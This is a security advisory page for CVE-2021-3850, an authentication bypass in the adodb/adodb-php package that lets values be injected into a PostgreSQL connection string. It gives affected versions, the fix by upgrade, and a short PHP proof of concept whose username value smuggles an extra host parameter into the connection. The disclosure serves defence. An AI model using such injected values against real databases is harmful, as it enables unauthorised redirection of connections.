Authentication Bypass by Primary Weakness Affecting adodb/adodb-php package, versions <5.20.21>=5.21.0, <5.21.4


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.58% (79th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PHP-ADODBADODBPHP-2361259
  • published25 Jan 2022
  • disclosed25 Jan 2022
  • creditEmmet Leahy of Sorcery Ltd

Introduced: 25 Jan 2022

CVE-2021-3850  (opens in a new tab)
CWE-305  (opens in a new tab)

How to fix?

Upgrade adodb/adodb-php to version 5.20.21, 5.21.4 or higher.

Overview

Affected versions of this package are vulnerable to Authentication Bypass by Primary Weakness by bypassing adodb_addslashes(), allowing a malicious actor to inject values into the PostgreSQL connection string.

PoC

<?php
include 'adodb.inc.php';
$db = ADONewConnection('pgsql');

$host_good = 'localhost';
$user_good = 'user';
$password = 'xxxx';
$database = 'dbname';

$user_evil = "'user' host='1.3.3.7'";

$db->connect($host_good, $user_good, $password, $database); // success
$db->connect($host_good, $user_evil, $password, $database); // !!!
?>

References

CVSS Scores

version 3.1